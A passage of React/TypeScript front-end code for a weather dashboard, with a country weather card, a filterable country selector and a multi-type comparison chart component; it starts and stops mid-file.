          {isExpanded ? <Minimize2 className=""w-4 h-4"" /> : <Maximize2 className=""w-4 h-4"" />}
        </button>
        <button
          onClick={onRemove}
          className=""w-8 h-8 bg-red-500/20 hover:bg-red-500/40 rounded-full flex items-center justify-center text-white transition-colors""
        >
          <X className=""w-4 h-4"" />
        </button>
      </div>

      <div className=""p-6"">
        {/* Country Header */}
        <div className={`${viewMode === 'list' ? 'flex-shrink-0' : 'mb-4'}`}>
          <div className=""flex items-center gap-3 mb-2"">
            <span className=""text-3xl"">{getFlagEmoji(country.code)}</span>
            <div>
              <h3 className=""text-xl font-bold text-white"">{country.name}</h3>
              <p className=""text-sm text-gray-300 flex items-center gap-1"">
                <MapPin className=""w-3 h-3"" />
                {country.city}
              </p>
              <p className=""text-xs text-gray-400"">
                {formatTime(current.lastUpdated, preferences.timeFormat)}
              </p>
            </div>
          </div>
        </div>

        {/* Main Weather Display */}
        <div className={`${viewMode === 'list' ? 'flex-1 flex items-center gap-8' : ''}`}>
          <div className={`${viewMode === 'list' ? 'flex items-center gap-6' : 'text-center mb-6'}`}>
            <div className=""relative"">
              {getWeatherIcon(current.condition)}
              <div className=""absolute -top-1 -right-1 w-3 h-3 bg-green-400 rounded-full border-2 border-white animate-pulse"" />
            </div>
            
            <div>
              <div className=""text-4xl font-bold text-white mb-1"">
                {formatTemperature(current.temperature, preferences.temperatureUnit)}
              </div>
              <div className=""text-sm text-gray-300 capitalize mb-1"">
                {current.description}
              </div>
              <div className=""text-xs text-gray-400"">
                Feels like {formatTemperature(current.feelsLike, preferences.temperatureUnit)}
              </div>
            </div>
          </div>

          {/* Quick Stats */}
          <div className={`grid ${viewMode === 'list' ? 'grid-cols-4' : 'grid-cols-2'} gap-4 mb-4`}>
            <div className=""flex items-center gap-2"">
              <Wind className=""w-4 h-4 text-blue-400"" />
              <div>
                <div className=""text-xs text-gray-300"">Wind</div>
                <div className=""text-white font-semibold"">
                  {current.windSpeed} km/h
                </div>
                <div className=""text-xs text-gray-400"">
                  {calculateWindDirection(current.windDirection)}
                </div>
              </div>
            </div>
            
            <div className=""flex items-center gap-2"">
              <Droplets className=""w-4 h-4 text-blue-400"" />
              <div>
                <div className=""text-xs text-gray-300"">Humidity</div>
                <div className=""text-white font-semibold"">{current.humidity}%</div>
              </div>
            </div>
            
            <div className=""flex items-center gap-2"">
              <Gauge className=""w-4 h-4 text-green-400"" />
              <div>
                <div className=""text-xs text-gray-300"">Pressure</div>
                <div className=""text-white font-semibold"">{current.pressure} hPa</div>
              </div>
            </div>
            
            <div className=""flex items-center gap-2"">
              <Eye className=""w-4 h-4 text-purple-400"" />
              <div>
                <div className=""text-xs text-gray-300"">Visibility</div>
                <div className=""text-white font-semibold"">{current.visibility} km</div>
              </div>
            </div>
          </div>

          {/* Air Quality */}
          <div className=""mb-4"">
            <div className=""flex items-center justify-between mb-2"">
              <span className=""text-sm text-gray-300"">Air Quality</span>
              <span className={`text-sm font-semibold ${getAirQualityColor(airQuality.aqi)}`}>
                AQI {airQuality.aqi}
              </span>
            </div>
            <div className=""w-full bg-gray-700 rounded-full h-2"">
              <div 
                className={`h-2 rounded-full transition-all duration-300 ${
                  airQuality.aqi <= 50 ? 'bg-green-400' :
                  airQuality.aqi <= 100 ? 'bg-yellow-400' :
                  airQuality.aqi <= 150 ? 'bg-orange-400' :
                  airQuality.aqi <= 200 ? 'bg-red-400' :
                  'bg-purple-400'
                }`}
                style={{ width: `${Math.min(airQuality.aqi / 300 * 100, 100)}%` }}
              />
            </div>
          </div>

          {/* UV Index */}
          <div className=""mb-4"">
            <div className=""flex items-center justify-between mb-2"">
              <span className=""text-sm text-gray-300"">UV Index</span>
              <span className={`text-sm font-semibold ${getUVIndexColor(current.uvIndex)}`}>
                {current.uvIndex}
              </span>
            </div>
            <div className=""w-full bg-gray-700 rounded-full h-2"">
              <div 
                className={`h-2 rounded-full transition-all duration-300 ${
                  current.uvIndex <= 2 ? 'bg-green-400' :
                  current.uvIndex <= 5 ? 'bg-yellow-400' :
                  current.uvIndex <= 7 ? 'bg-orange-400' :
                  current.uvIndex <= 10 ? 'bg-red-400' :
                  'bg-purple-400'
                }`}
                style={{ width: `${Math.min(current.uvIndex / 11 * 100, 100)}%` }}
              />
            </div>
          </div>

          {/* Expanded Content */}
          <AnimatePresence>
            {isExpanded && (
              <motion.div
                initial={{ opacity: 0, height: 0 }}
                animate={{ opacity: 1, height: 'auto' }}
                exit={{ opacity: 0, height: 0 }}
                className=""mt-6""
              >
                {/* Tab Navigation */}
                <div className=""flex border-b border-white/20 mb-4"">
                  {[
                    { key: 'current', label: 'Current', icon: Thermometer },
                    { key: 'forecast', label: 'Forecast', icon: Calendar },
                    { key: 'details', label: 'Details', icon: Info }
                  ].map(({ key, label, icon: Icon }) => (
                    <button
                      key={key}
                      onClick={() => setActiveTab(key as any)}
                      className={`flex items-center gap-2 px-4 py-2 text-sm font-medium transition-colors ${
                        activeTab === key
                          ? 'text-blue-400 border-b-2 border-blue-400'
                          : 'text-gray-400 hover:text-white'
                      }`}
                    >
                      <Icon className=""w-4 h-4"" />
                      {label}
                    </button>
                  ))}
                </div>

                {/* Tab Content */}
                <AnimatePresence mode=""wait"">
                  {activeTab === 'current' && (
                    <motion.div
                      key=""current""
                      initial={{ opacity: 0, x: 20 }}
                      animate={{ opacity: 1, x: 0 }}
                      exit={{ opacity: 0, x: -20 }}
                      className=""space-y-4""
                    >
                      {/* Current Conditions Grid */}
                      <div className=""grid grid-cols-2 md:grid-cols-3 gap-4"">
                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Thermometer className=""w-4 h-4 text-red-400"" />
                            <span className=""text-sm text-gray-300"">Heat Index</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {formatTemperature(weatherData.health.heatIndex, preferences.temperatureUnit)}
                          </div>
                        </div>

                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Wind className=""w-4 h-4 text-blue-400"" />
                            <span className=""text-sm text-gray-300"">Wind Chill</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {formatTemperature(weatherData.health.windChill, preferences.temperatureUnit)}
                          </div>
                        </div>

                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Droplets className=""w-4 h-4 text-blue-400"" />
                            <span className=""text-sm text-gray-300"">Dew Point</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {formatTemperature(current.dewPoint, preferences.temperatureUnit)}
                          </div>
                        </div>

                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Cloud className=""w-4 h-4 text-gray-400"" />
                            <span className=""text-sm text-gray-300"">Cloud Cover</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {current.cloudCover}%
                          </div>
                        </div>

                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Sunrise className=""w-4 h-4 text-orange-400"" />
                            <span className=""text-sm text-gray-300"">Sunrise</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {formatTime(astronomy.sunrise, preferences.timeFormat)}
                          </div>
                        </div>

                        <div className=""bg-white/5 rounded-lg p-3"">
                          <div className=""flex items-center gap-2 mb-2"">
                            <Sunset className=""w-4 h-4 text-orange-600"" />
                            <span className=""text-sm text-gray-300"">Sunset</span>
                          </div>
                          <div className=""text-lg font-semibold text-white"">
                            {formatTime(astronomy.sunset, preferences.timeFormat)}
                          </div>
                        </div>
                      </div>

                      {/* Current Trends */}
                      <div className=""bg-white/5 rounded-lg p-4"">
                        <h4 className=""text-sm font-semibold text-white mb-3"">Current Trends</h4>
                        <div className=""grid grid-cols-2 gap-4"">
                          {Object.entries(weatherData.trends).map(([key, trend]) => (
                            <div key={key} className=""flex items-center justify-between"">
                              <span className=""text-sm text-gray-300 capitalize"">{key}</span>
                              <div className=""flex items-center gap-1"">
                                {trend === 'rising' || trend === 'increasing' || trend === 'improving' ? (
                                  <TrendingUp className=""w-4 h-4 text-green-400"" />
                                ) : trend === 'falling' || trend === 'decreasing' || trend === 'deteriorating' ? (
                                  <TrendingDown className=""w-4 h-4 text-red-400"" />
                                ) : (
                                  <div className=""w-4 h-4 bg-gray-400 rounded-full"" />
                                )}
                                <span className={`text-sm font-medium ${
                                  trend === 'rising' || trend === 'increasing' || trend === 'improving' ? 'text-green-400' :
                                  trend === 'falling' || trend === 'decreasing' || trend === 'deteriorating' ? 'text-red-400' :
                                  'text-gray-400'
                                }`}>
                                  {trend}
                                </span>
                              </div>
                            </div>
                          ))}
                        </div>
                      </div>
                    </motion.div>
                  )}

                  {activeTab === 'forecast' && (
                    <motion.div
                      key=""forecast""
                      initial={{ opacity: 0, x: 20 }}
                      animate={{ opacity: 1, x: 0 }}
                      exit={{ opacity: 0, x: -20 }}
                      className=""space-y-4""
                    >
                      {/* Hourly Forecast */}
                      <div>
                        <h4 className=""text-sm font-semibold text-white mb-3"">24-Hour Forecast</h4>
                        <div className=""bg-white/5 rounded-lg p-4"">
                          <AdvancedMiniChart
                            data={forecast.hourly.slice(0, 24)}
                            type=""area""
                            color=""#60a5fa""
                            height={120}
                            dataKey=""temperature""
                            xDataKey=""time""
                            showTooltip={true}
                          />
                        </div>
                      </div>

                      {/* 7-Day Forecast */}
                      <div>
                        <h4 className=""text-sm font-semibold text-white mb-3"">7-Day Forecast</h4>
                        <div className=""space-y-2"">
                          {forecast.daily.map((day, index) => (
                            <div key={index} className=""bg-white/5 rounded-lg p-3 flex items-center justify-between"">
                              <div className=""flex items-center gap-3"">
                                <span className=""text-sm text-gray-300 w-16"">
                                  {index === 0 ? 'Today' : day.dayOfWeek.slice(0, 3)}
                                </span>
                                {getWeatherIcon(day.condition)}
                                <span className=""text-sm text-gray-300"">{day.description}</span>
                              </div>
                              <div className=""flex items-center gap-4"">
                                <div className=""text-right"">
                                  <div className=""text-white font-semibold"">
                                    {formatTemperature(day.maxTemp, preferences.temperatureUnit)}
                                  </div>
                                  <div className=""text-gray-400 text-sm"">
                                    {formatTemperature(day.minTemp, preferences.temperatureUnit)}
                                  </div>
                                </div>
                                <div className=""text-blue-400 text-sm"">
                                  {day.precipitationProbability}%
                                </div>
                              </div>
                            </div>
                          ))}
                        </div>
                      </div>
                    </motion.div>
                  )}

                  {activeTab === 'details' && (
                    <motion.div
                      key=""details""
                      initial={{ opacity: 0, x: 20 }}
                      animate={{ opacity: 1, x: 0 }}
                      exit={{ opacity: 0, x: -20 }}
                      className=""space-y-4""
                    >
                      {/* Air Quality Details */}
                      <div className=""bg-white/5 rounded-lg p-4"">
                        <h4 className=""text-sm font-semibold text-white mb-3"">Air Quality Components</h4>
                        <div className=""grid grid-cols-2 md:grid-cols-3 gap-4"">
                          {Object.entries(airQuality.components).map(([component, value]) => (
                            <div key={component} className=""text-center"">
                              <div className=""text-xs text-gray-300 uppercase mb-1"">{component}</div>
                              <div className=""text-lg font-semibold text-white"">
                                {typeof value === 'number' ? value.toFixed(1) : value}
                              </div>
                            </div>
                          ))}
                        </div>
                      </div>

                      {/* Astronomy */}
                      <div className=""bg-white/5 rounded-lg p-4"">
                        <h4 className=""text-sm font-semibold text-white mb-3"">Astronomy</h4>
                        <div className=""grid grid-cols-2 gap-4"">
                          <div className=""flex items-center gap-2"">
                            <Moon className=""w-4 h-4 text-blue-200"" />
                            <div>
                              <div className=""text-xs text-gray-300"">Moon Phase</div>
                              <div className=""text-white text-sm"">{astronomy.moonSign}</div>
                            </div>
                          </div>
                          <div className=""flex items-center gap-2"">
                            <span className=""text-lg"">🌙</span>
                            <div>
                              <div className=""text-xs text-gray-300"">Illumination</div>
                              <div className=""text-white text-sm"">{astronomy.moonIllumination.toFixed(0)}%</div>
                            </div>
                          </div>
                        </div>
                      </div>

                      {/* Health & Recreation */}
                      <div className=""bg-white/5 rounded-lg p-4"">
                        <h4 className=""text-sm font-semibold text-white mb-3"">Activity Recommendations</h4>
                        <div className=""grid grid-cols-2 md:grid-cols-4 gap-4"">
                          {Object.entries(weatherData.recreation.suitability).map(([activity, rating]) => (
                            <div key={activity} className=""text-center"">
                              <div className=""text-xs text-gray-300 capitalize mb-1"">{activity}</div>
                              <div className=""flex justify-center mb-1"">
                                {Array.from({ length: 5 }, (_, i) => (
                                  <Star
                                    key={i}
                                    className={`w-3 h-3 ${
                                      i < rating ? 'text-yellow-400 fill-current' : 'text-gray-600'
                                    }`}
                                  />
                                ))}
                              </div>
                              <div className=""text-xs text-white"">{rating}/10</div>
                            </div>
                          ))}
                        </div>
                      </div>

                      {/* Data Source Info */}
                      <div className=""bg-white/5 rounded-lg p-4"">
                        <h4 className=""text-sm font-semibold text-white mb-3"">Data Information</h4>
                        <div className=""grid grid-cols-2 gap-4 text-sm"">
                          <div>
                            <span className=""text-gray-300"">Provider:</span>
                            <span className=""text-white ml-2"">{weatherData.metadata.provider}</span>
                          </div>
                          <div>
                            <span className=""text-gray-300"">Model:</span>
                            <span className=""text-white ml-2"">{weatherData.metadata.model}</span>
                          </div>
                          <div>
                            <span className=""text-gray-300"">Resolution:</span>
                            <span className=""text-white ml-2"">{weatherData.metadata.resolution}</span>
                          </div>
                          <div>
                            <span className=""text-gray-300"">Last Update:</span>
                            <span className=""text-white ml-2"">
                              {formatTime(weatherData.metadata.lastUpdate, preferences.timeFormat)}
                            </span>
                          </div>
                        </div>
                        
                        <div className=""mt-3"">
                          <div className=""text-xs text-gray-300 mb-2"">Data Quality</div>
                          <div className=""w-full bg-gray-700 rounded-full h-2"">
                            <div 
                              className=""h-2 bg-green-400 rounded-full transition-all duration-300""
                              style={{ width: `${weatherData.metadata.dataQuality}%` }}
                            />
                          </div>
                          <div className=""text-xs text-white mt-1"">
                            {weatherData.metadata.dataQuality.toFixed(0)}% Quality
                          </div>
                        </div>
                      </div>
                    </motion.div>
                  )}
                </AnimatePresence>
              </motion.div>
            )}
          </AnimatePresence>

          {/* Mini Chart for non-expanded view */}
          {!isExpanded && viewMode === 'grid' && (
            <div className=""mt-4"">
              <AdvancedMiniChart
                data={forecast.hourly.slice(0, 8)}
                type=""area""
                color=""#60a5fa""
                dataKey=""temperature""
                xDataKey=""time""
              />
            </div>
          )}
        </div>
      </div>
    </motion.div>
  );
};

// Enhanced Country Selector with advanced filtering
const AdvancedCountrySelector: React.FC<{
  countries: Country[];
  selectedCountries: Country[];
  onAddCountry: (country: Country) => void;
  onRemoveCountry: (countryCode: string) => void;
  searchTerm: string;
  filters: {
    region?: string;
    population?: { min: number; max: number };
    climateZone?: string;
  };
  onFilterChange: (filters: any) => void;
}> = ({ 
  countries, 
  selectedCountries, 
  onAddCountry, 
  onRemoveCountry, 
  searchTerm,
  filters,
  onFilterChange 
}) => {
  const [showFilters, setShowFilters] = useState(false);
  const [sortBy, setSortBy] = useState<'name' | 'population' | 'region'>('name');
  const [sortDirection, setSortDirection] = useState<'asc' | 'desc'>('asc');

  const filteredAndSortedCountries = useMemo(() => {
    let filtered = countries.filter(country => {
      const matchesSearch = country.name.toLowerCase().includes(searchTerm.toLowerCase()) ||
                           country.city.toLowerCase().includes(searchTerm.toLowerCase()) ||
                           country.region.toLowerCase().includes(searchTerm.toLowerCase());
      
      const matchesRegion = !filters.region || country.region === filters.region;
      const matchesClimate = !filters.climateZone || country.climateZone === filters.climateZone;
      const matchesPopulation = !filters.population || 
        (country.population >= filters.population.min && country.population <= filters.population.max);

      return matchesSearch && matchesRegion && matchesClimate && matchesPopulation;
    });

    // Sort countries
    filtered.sort((a, b) => {
      let aValue: any, bValue: any;
      
      switch (sortBy) {
        case 'population':
          aValue = a.population;
          bValue = b.population;
          break;
        case 'region':
          aValue = a.region;
          bValue = b.region;
          break;
        default:
          aValue = a.name;
          bValue = b.name;
          break;
      }

      if (typeof aValue === 'string') {
        aValue = aValue.toLowerCase();
        bValue = bValue.toLowerCase();
      }

      const comparison = aValue < bValue ? -1 : aValue > bValue ? 1 : 0;
      return sortDirection === 'asc' ? comparison : -comparison;
    });

    return filtered;
  }, [countries, searchTerm, filters, sortBy, sortDirection]);

  const regions = useMemo(() => {
    return [...new Set(countries.map(c => c.region))].sort();
  }, [countries]);

  const climateZones = useMemo(() => {
    return [...new Set(countries.map(c => c.climateZone))].sort();
  }, [countries]);

  return (
    <div className=""mb-6"">
      <div className=""flex items-center justify-between mb-4"">
        <h2 className=""text-xl font-semibold text-white"">
          Available Countries ({filteredAndSortedCountries.length})
        </h2>
        
        <div className=""flex gap-2"">
          <button
            onClick={() => setShowFilters(!showFilters)}
            className={`flex items-center gap-2 px-4 py-2 rounded-lg transition-colors ${
              showFilters ? 'bg-blue-500 text-white' : 'bg-white/10 text-white hover:bg-white/20'
            }`}
          >
            <Filter className=""w-4 h-4"" />
            Filters
          </button>
          
          <div className=""flex bg-white/10 rounded-lg"">
            <button
              onClick={() => setSortDirection(sortDirection === 'asc' ? 'desc' : 'asc')}
              className=""p-2 text-white hover:bg-white/20 rounded-l-lg transition-colors""
            >
              {sortDirection === 'asc' ? <SortAsc className=""w-4 h-4"" /> : <SortDesc className=""w-4 h-4"" />}
            </button>
            <select
              value={sortBy}
              onChange={(e) => setSortBy(e.target.value as any)}
              className=""bg-transparent text-white text-sm px-3 py-2 focus:outline-none""
            >
              <option value=""name"">Name</option>
              <option value=""population"">Population</option>
              <option value=""region"">Region</option>
            </select>
          </div>
        </div>
      </div>

      {/* Filters Panel */}
      <AnimatePresence>
        {showFilters && (
          <motion.div
            initial={{ opacity: 0, height: 0 }}
            animate={{ opacity: 1, height: 'auto' }}
            exit={{ opacity: 0, height: 0 }}
            className=""bg-white/5 rounded-lg p-4 mb-4 overflow-hidden""
          >
            <div className=""grid grid-cols-1 md:grid-cols-3 gap-4"">
              <div>
                <label className=""block text-sm text-gray-300 mb-2"">Region</label>
                <select
                  value={filters.region || ''}
                  onChange={(e) => onFilterChange({ ...filters, region: e.target.value || undefined })}
                  className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
                >
                  <option value="""">All Regions</option>
                  {regions.map(region => (
                    <option key={region} value={region} className=""bg-gray-800"">
                      {region}
                    </option>
                  ))}
                </select>
              </div>

              <div>
                <label className=""block text-sm text-gray-300 mb-2"">Climate Zone</label>
                <select
                  value={filters.climateZone || ''}
                  onChange={(e) => onFilterChange({ ...filters, climateZone: e.target.value || undefined })}
                  className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
                >
                  <option value="""">All Climates</option>
                  {climateZones.map(climate => (
                    <option key={climate} value={climate} className=""bg-gray-800"">
                      {climate}
                    </option>
                  ))}
                </select>
              </div>

              <div>
                <label className=""block text-sm text-gray-300 mb-2"">Population</label>
                <select
                  onChange={(e) => {
                    const value = e.target.value;
                    if (value === '') {
                      onFilterChange({ ...filters, population: undefined });
                    } else {
                      const [min, max] = value.split('-').map(Number);
                      onFilterChange({ ...filters, population: { min, max } });
                    }
                  }}
                  className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
                >
                  <option value="""">All Populations</option>
                  <option value=""0-10000000"" className=""bg-gray-800"">Under 10M</option>
                  <option value=""10000000-50000000"" className=""bg-gray-800"">10M - 50M</option>
                  <option value=""50000000-100000000"" className=""bg-gray-800"">50M - 100M</option>
                  <option value=""100000000-1500000000"" className=""bg-gray-800"">Over 100M</option>
                </select>
              </div>
            </div>

            <div className=""mt-4 flex gap-2"">
              <button
                onClick={() => onFilterChange({})}
                className=""px-4 py-2 bg-gray-600 hover:bg-gray-700 text-white text-sm rounded-lg transition-colors""
              >
                Clear Filters
              </button>
              <span className=""text-sm text-gray-400 flex items-center"">
                Showing {filteredAndSortedCountries.length} of {countries.length} countries
              </span>
            </div>
          </motion.div>
        )}
      </AnimatePresence>

      {/* Countries Grid */}
      <motion.div 
        className=""flex flex-wrap gap-2""
        variants={ANIMATION_VARIANTS.container}
        initial=""hidden""
        animate=""visible""
      >
        {filteredAndSortedCountries.map(country => {
          const isSelected = selectedCountries.some(c => c.code === country.code);
          return (
            <motion.button
              key={country.code}
              variants={ANIMATION_VARIANTS.item}
              onClick={() => isSelected ? onRemoveCountry(country.code) : onAddCountry(country)}
              className={`flex items-center gap-2 px-4 py-2 rounded-lg transition-all duration-200 ${
                isSelected
                  ? 'bg-red-500/20 text-red-300 border border-red-500/30 scale-95'
                  : 'bg-white/10 text-white border border-white/20 hover:bg-white/20 hover:scale-105'
              }`}
              whileHover={{ scale: 1.05 }}
              whileTap={{ scale: 0.95 }}
            >
              <span className=""text-lg"">{getFlagEmoji(country.code)}</span>
              <div className=""text-left"">
                <div className=""text-sm font-medium"">{country.name}</div>
                <div className=""text-xs opacity-70"">{country.city}</div>
              </div>
              <div className=""text-xs opacity-60"">
                {(country.population / 1000000).toFixed(1)}M
              </div>
              {isSelected ? <Minus className=""w-4 h-4"" /> : <Plus className=""w-4 h-4"" />}
            </motion.button>
          );
        })}
      </motion.div>

      {filteredAndSortedCountries.length === 0 && (
        <div className=""text-center py-8"">
          <div className=""text-gray-400 text-lg mb-2"">No countries match your criteria</div>
          <div className=""text-gray-500 text-sm"">Try adjusting your search or filters</div>
        </div>
      )}
    </div>
  );
};

// Enhanced Weather Charts with multiple chart types
const ComprehensiveWeatherChart: React.FC<{
  type: 'temperature' | 'humidity' | 'pressure' | 'windSpeed' | 'precipitation';
  data: { [city: string]: ComprehensiveWeatherData };
  countries: Country[];
  chartType?: 'bar' | 'line' | 'area' | 'radar' | 'scatter';
  timeRange?: 'current' | 'hourly' | 'daily';
  showComparison?: boolean;
}> = ({ 
  type, 
  data, 
  countries, 
  chartType = 'bar', 
  timeRange = 'current',
  showComparison = false 
}) => {
  const [selectedMetric, setSelectedMetric] = useState(type);
  const [selectedTimeRange, setSelectedTimeRange] = useState(timeRange);

  const processChartData = () => {
    if (selectedTimeRange === 'current') {
      return countries.map((country, index) => ({
        name: country.name,
        city: country.city,
        value: data[country.city] ? data[country.city].current[selectedMetric] : 0,
        color: CHART_COLORS[index % CHART_COLORS.length],
        flag: getFlagEmoji(country.code)
      }));
    }

    if (selectedTimeRange === 'hourly') {
      // Aggregate hourly data for all countries
      const hourlyData: any[] = [];
      for (let i = 0; i < 24; i++) {
        const hourData: any = { hour: i };
        countries.forEach(country => {
          if (data[country.city] && data[country.city].forecast.hourly[i]) {
            hourData[country.name] = data[country.city].forecast.hourly[i][selectedMetric];
          }
        });
        hourlyData.push(hourData);
      }
      return hourlyData;
    }

    if (selectedTimeRange === 'daily') {
      // Aggregate daily data for all countries
      const dailyData: any[] = [];
      for (let i = 0; i < 7; i++) {
        const dayData: any = { day: i, dayName: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'][i] };
        countries.forEach(country => {
          if (data[country.city] && data[country.city].forecast.daily[i]) {
            dayData[country.name] = selectedMetric === 'temperature' 
              ? data[country.city].forecast.daily[i].avgTemp
              : data[country.city].forecast.daily[i][selectedMetric];
          }
        });
        dailyData.push(dayData);
      }
      return dailyData;
    }

    return [];
  };

  const chartData = processChartData();

  const renderChart = () => {
    const commonProps = {
      data: chartData,
      margin: { top: 20, right: 30, left: 20, bottom: 5 }
    };

    switch (chartType) {
      case 'line':
        return (
          <RechartsLineChart {...commonProps}>
            <CartesianGrid strokeDasharray=""3 3"" stroke=""rgba(255,255,255,0.1)"" />
            <XAxis 
              dataKey={selectedTimeRange === 'current' ? 'name' : selectedTimeRange === 'hourly' ? 'hour' : 'dayName'}
              tick={{ fill: 'white', fontSize: 12 }}
              angle={selectedTimeRange === 'current' ? -45 : 0}
              textAnchor={selectedTimeRange === 'current' ? 'end' : 'middle'}
              height={selectedTimeRange === 'current' ? 80 : 50}
            />
            <YAxis tick={{ fill: 'white' }} />
            <Tooltip 
              contentStyle={{ 
                backgroundColor: 'rgba(0,0,0,0.8)', 
                border: 'none',
                borderRadius: '8px',
                color: 'white'
              }}
            />
            {selectedTimeRange === 'current' ? (
              <Line 
                dataKey=""value"" 
                stroke=""#8884d8""
                strokeWidth={3}
                dot={{ fill: '#8884d8', strokeWidth: 2, r: 6 }}
              />
            ) : (
              countries.map((country, index) => (
                <Line
                  key={country.code}
                  type=""monotone""
                  dataKey={country.name}
                  stroke={CHART_COLORS[index % CHART_COLORS.length]}
                  strokeWidth={2}
                  dot={{ r: 4 }}
                />
              ))
            )}
            {selectedTimeRange !== 'current' && <Legend />}
          </RechartsLineChart>
        );

      case 'area':
        return (
          <AreaChart {...commonProps}>
            <CartesianGrid strokeDasharray=""3 3"" stroke=""rgba(255,255,255,0.1)"" />
            <XAxis 
              dataKey={selectedTimeRange === 'current' ? 'name' : selectedTimeRange === 'hourly' ? 'hour' : 'dayName'}
              tick={{ fill: 'white', fontSize: 12 }}
              angle={selectedTimeRange === 'current' ? -45 : 0}
              textAnchor={selectedTimeRange === 'current' ? 'end' : 'middle'}
              height={selectedTimeRange === 'current' ? 80 : 50}
            />
            <YAxis tick={{ fill: 'white' }} />
            <Tooltip 
              contentStyle={{ 
                backgroundColor: 'rgba(0,0,0,0.8)', 
                border: 'none',
                borderRadius: '8px',
                color: 'white'
              }}
            />
            {selectedTimeRange === 'current' ? (
              <Area
                type=""monotone""
                dataKey=""value""
                stroke=""#8884d8""
                fill=""url(#colorGradient)""
                strokeWidth={2}
              />
            ) : (
              countries.map((country, index) => (
                <Area
                  key={country.code}
                  type=""monotone""
                  dataKey={country.name}
                  stackId={showComparison ? ""1"" : undefined}
                  stroke={CHART_COLORS[index % CHART_COLORS.length]}
                  fill={CHART_COLORS[index % CHART_COLORS.length]}
                  fillOpacity={0.6}
                />
              ))
            )}
            {selectedTimeRange !== 'current' && <Legend />}
            <defs>
              <linearGradient id=""colorGradient"" x1=""0"" y1=""0"" x2=""0"" y2=""1"">
                <stop offset=""5%"" stopColor=""#8884d8"" stopOpacity={0.8}/>
                <stop offset=""95%"" stopColor=""#8884d8"" stopOpacity={0}/>
              </linearGradient>
            </defs>
          </AreaChart>
        );

      case 'radar':
        if (selectedTimeRange !== 'current') return null;
        const radarData = countries.map(country => ({
          country: country.name,
          temperature: data[country.city]?.current.temperature || 0,
          humidity: data[country.city]?.current.humidity || 0,
          pressure: (data[country.city]?.current.pressure || 1000) - 950, // Normalize
          windSpeed: data[country.city]?.current.windSpeed || 0,
          visibility: data[country.city]?.current.visibility || 0
        }));

        return (
          <RadarChart {...commonProps} data={radarData}>
            <PolarGrid />
            <PolarAngleAxis dataKey=""country"" tick={{ fill: 'white', fontSize: 10 }} />
            <PolarRadiusAxis tick={{ fill: 'white', fontSize: 8 }} />
            <Radar
              name=""Temperature""
              dataKey=""temperature""
              stroke=""#ff6b6b""
              fill=""#ff6b6b""
              fillOpacity={0.3}
            />
            <Radar
              name=""Humidity""
              dataKey=""humidity""
              stroke=""#4ecdc4""
              fill=""#4ecdc4""
              fillOpacity={0.3}
            />
            <Radar
              name=""Wind Speed""
              dataKey=""windSpeed""
              stroke=""#45b7d1""
              fill=""#45b7d1""
              fillOpacity={0.3}
            />
            <Legend />
            <Tooltip 
              contentStyle={{ 
                backgroundColor: 'rgba(0,0,0,0.8)', 
                border: 'none',
                borderRadius: '8px',
                color: 'white'
              }}
            />
          </RadarChart>
        );

      case 'scatter':
        if (selectedTimeRange !== 'current') return null;
        const scatterData = countries.map(country => ({
          x: data[country.city]?.current.temperature || 0,
          y: data[country.city]?.current.humidity || 0,
          z: data[country.city]?.current.pressure || 1000,
          name: country.name
        }));

        return (
          <ScatterChart {...commonProps} data={scatterData}>
            <CartesianGrid strokeDasharray=""3 3"" stroke=""rgba(255,255,255,0.1)"" />
            <XAxis 
              type=""number"" 
              dataKey=""x"" 
              name=""Temperature"" 
              tick={{ fill: 'white' }}
              label={{ value: 'Temperature (°C)', position: 'insideBottom', offset: -5, fill: 'white' }}
            />
            <YAxis 
              type=""number"" 
              dataKey=""y"" 
              name=""Humidity"" 
              tick={{ fill: 'white' }}
              label={{ value: 'Humidity (%)', angle: -90, position: 'insideLeft', fill: 'white' }}
            />
            <Tooltip 
              cursor={{ strokeDasharray: '3 3' }}
              contentStyle={{ 
                backgroundColor: 'rgba(0,0,0,0.8)', 
                border: 'none',
                borderRadius: '8px',
                color: 'white'
              }}
              formatter={(value, name) => [value, name === 'x' ? 'Temperature' : name === 'y' ? 'Humidity' : 'Pressure']}
            />
            <Scatter dataKey=""z"" fill=""#8884d8"" />
          </ScatterChart>
        );

      default:
        return (
          <BarChart {...commonProps}>
            <CartesianGrid strokeDasharray=""3 3"" stroke=""rgba(255,255,255,0.1)"" />
            <XAxis 
              dataKey={selectedTimeRange === 'current' ? 'name' : selectedTimeRange === 'hourly' ? 'hour' : 'dayName'}
              tick={{ fill: 'white', fontSize: 12 }}
              angle={selectedTimeRange === 'current' ? -45 : 0}
              textAnchor={selectedTimeRange === 'current' ? 'end' : 'middle'}
              height={selectedTimeRange === 'current' ? 80 : 50}
            />
            <YAxis tick={{ fill: 'white' }} />
            <Tooltip 
              contentStyle={{ 
                backgroundColor: 'rgba(0,0,0,0.8)', 
                border: 'none',
                borderRadius: '8px',
                color: 'white'
              }}
            />
            {selectedTimeRange === 'current' ? (
              <Bar 
                dataKey=""value"" 
                fill=""#8884d8""
                radius={[4, 4, 0, 0]}
              />
            ) : (
              countries.map((country, index) => (
                <Bar
                  key={country.code}
                  dataKey={country.name}
                  fill={CHART_COLORS[index % CHART_COLORS.length]}
                  radius={[2, 2, 0, 0]}
                />
              ))
            )}
